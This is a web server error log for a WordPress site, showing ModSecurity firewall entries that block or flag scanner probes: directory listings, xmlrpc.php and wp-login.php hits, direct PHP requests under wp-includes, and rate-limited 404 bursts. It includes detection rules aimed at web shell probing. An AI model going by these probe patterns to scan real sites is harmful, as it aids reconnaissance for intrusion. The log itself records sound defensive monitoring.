[Sun Dec 21 00:45:12.587279 2025] [:error] [pid 22338:tid 22396] [client 49.144.10.199:39166] [client 49.144.10.199] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.144.10.199, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUbSmHGYQSUt-opKpSL_mwAAAEs"]
[Sun Dec 21 00:46:23.127932 2025] [:error] [pid 8640:tid 8673] [client 49.144.10.199:39814] [client 49.144.10.199] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.144.10.199, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUbS3_VclzlEWWhvYtlY0QAAAJc"]
[Sun Dec 21 01:09:14.349152 2025] [autoindex:error] [pid 8641:tid 8682] [client 4.217.198.247:63567] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Sun Dec 21 01:09:17.384881 2025] [autoindex:error] [pid 8641:tid 8703] [client 4.217.198.247:63567] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Sun Dec 21 01:09:28.736967 2025] [autoindex:error] [pid 8641:tid 8698] [client 4.217.198.247:63567] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Sun Dec 21 01:09:29.064590 2025] [autoindex:error] [pid 8641:tid 8689] [client 4.217.198.247:63567] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Sun Dec 21 01:09:46.874184 2025] [:error] [pid 8641:tid 8693] [client 4.217.198.247:63567] [client 4.217.198.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aUbYWnE703usYSvQGLRWpgAAAM4"], referer: https://www.bing.com/
[Sun Dec 21 01:09:47.293063 2025] [autoindex:error] [pid 8641:tid 8683] [client 4.217.198.247:64212] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Sun Dec 21 01:09:47.428237 2025] [:error] [pid 8641:tid 8703] [client 4.217.198.247:64212] [client 4.217.198.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/index.php"] [unique_id "aUbYW3E703usYSvQGLRWqgAAANU"], referer: https://www.yahoo.com/
[Sun Dec 21 01:09:47.858444 2025] [autoindex:error] [pid 8751:tid 8765] [client 4.217.198.247:64894] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/dist/development/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Sun Dec 21 01:10:03.730586 2025] [:error] [pid 8641:tid 8698] [client 4.217.198.247:64805] [client 4.217.198.247] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.217.198.247, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUbYa3E703usYSvQGLRWtgAAANI"], referer: https://www.google.fr/
[Sun Dec 21 01:10:06.334914 2025] [autoindex:error] [pid 8751:tid 8773] [client 4.217.198.247:64894] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Sun Dec 21 01:10:09.297029 2025] [autoindex:error] [pid 8751:tid 8754] [client 4.217.198.247:64894] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Sun Dec 21 01:10:10.907120 2025] [autoindex:error] [pid 8751:tid 8771] [client 4.217.198.247:64894] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Sun Dec 21 01:10:18.143015 2025] [autoindex:error] [pid 8751:tid 8755] [client 4.217.198.247:64894] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2025/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Sun Dec 21 01:10:18.421328 2025] [autoindex:error] [pid 8751:tid 8776] [client 4.217.198.247:64894] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Sun Dec 21 01:10:18.557428 2025] [:error] [pid 8751:tid 8754] [client 4.217.198.247:64894] [client 4.217.198.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/index.php"] [unique_id "aUbYemvrnuGjNP7vtDQVrgAAAAE"], referer: https://www.google.de/
[Sun Dec 21 01:13:56.585378 2025] [:error] [pid 22338:tid 22391] [client 45.88.186.197:58054] [client 45.88.186.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUbZVHGYQSUt-opKpSIMNgAAAEc"]
[Sun Dec 21 01:13:56.992483 2025] [:error] [pid 8751:tid 8758] [client 45.88.186.197:58169] [client 45.88.186.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUbZVGvrnuGjNP7vtDQXRAAAAAU"]
[Sun Dec 21 01:13:57.447807 2025] [:error] [pid 22338:tid 22400] [client 45.88.186.197:58314] [client 45.88.186.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUbZVXGYQSUt-opKpSIMewAAAE8"]
[Sun Dec 21 01:13:57.865511 2025] [:error] [pid 8640:tid 8672] [client 45.88.186.197:58479] [client 45.88.186.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUbZVfVclzlEWWhvYtlgUQAAAJY"]
[Sun Dec 21 01:13:58.287966 2025] [:error] [pid 8640:tid 8664] [client 45.88.186.197:58652] [client 45.88.186.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUbZVvVclzlEWWhvYtlgcAAAAI4"]
[Sun Dec 21 02:03:41.706610 2025] [:error] [pid 8640:tid 8661] [client 43.133.14.237:42636] [client 43.133.14.237] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUbk_fVclzlEWWhvYtlycAAAAIs"]
[Sun Dec 21 02:39:45.170354 2025] [autoindex:error] [pid 44515:tid 44529] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:39:45.476349 2025] [autoindex:error] [pid 44515:tid 44526] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:39:45.797338 2025] [autoindex:error] [pid 44515:tid 44542] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:39:46.126981 2025] [autoindex:error] [pid 44515:tid 44531] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:39:50.849768 2025] [autoindex:error] [pid 44515:tid 44536] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:39:51.175406 2025] [autoindex:error] [pid 44515:tid 44526] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2023/11/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:39:51.485262 2025] [autoindex:error] [pid 44515:tid 44535] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:39:51.839067 2025] [autoindex:error] [pid 44515:tid 44529] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:39:52.143994 2025] [autoindex:error] [pid 44515:tid 44539] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:39:52.457928 2025] [autoindex:error] [pid 44515:tid 44532] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:39:53.087806 2025] [autoindex:error] [pid 44515:tid 44523] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:39:56.112840 2025] [autoindex:error] [pid 44515:tid 44536] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:39:56.405148 2025] [autoindex:error] [pid 44515:tid 44523] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:40:07.779030 2025] [autoindex:error] [pid 44515:tid 44539] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/query/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:40:08.106055 2025] [autoindex:error] [pid 44515:tid 44522] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/langs/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:40:08.397293 2025] [autoindex:error] [pid 44515:tid 44523] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:40:08.713696 2025] [autoindex:error] [pid 44515:tid 44518] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:40:19.483360 2025] [autoindex:error] [pid 44515:tid 44524] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:40:25.898406 2025] [autoindex:error] [pid 44515:tid 44542] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:40:38.309669 2025] [autoindex:error] [pid 44515:tid 44531] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:40:38.621538 2025] [autoindex:error] [pid 44515:tid 44527] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:40:38.930937 2025] [autoindex:error] [pid 44515:tid 44522] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:41:15.019935 2025] [autoindex:error] [pid 44515:tid 44536] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:41:21.208482 2025] [autoindex:error] [pid 44515:tid 44532] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:41:21.514322 2025] [autoindex:error] [pid 44515:tid 44524] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:41:22.462623 2025] [autoindex:error] [pid 44515:tid 44523] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:41:22.787451 2025] [autoindex:error] [pid 44515:tid 44532] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:41:23.075709 2025] [autoindex:error] [pid 44515:tid 44533] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:41:45.645464 2025] [autoindex:error] [pid 44515:tid 44542] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/plugins/elementor/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:44:32.631109 2025] [autoindex:error] [pid 44515:tid 44525] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:44:32.933170 2025] [autoindex:error] [pid 44515:tid 44542] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:44:33.267035 2025] [autoindex:error] [pid 44515:tid 44527] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:44:33.563133 2025] [autoindex:error] [pid 44515:tid 44542] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
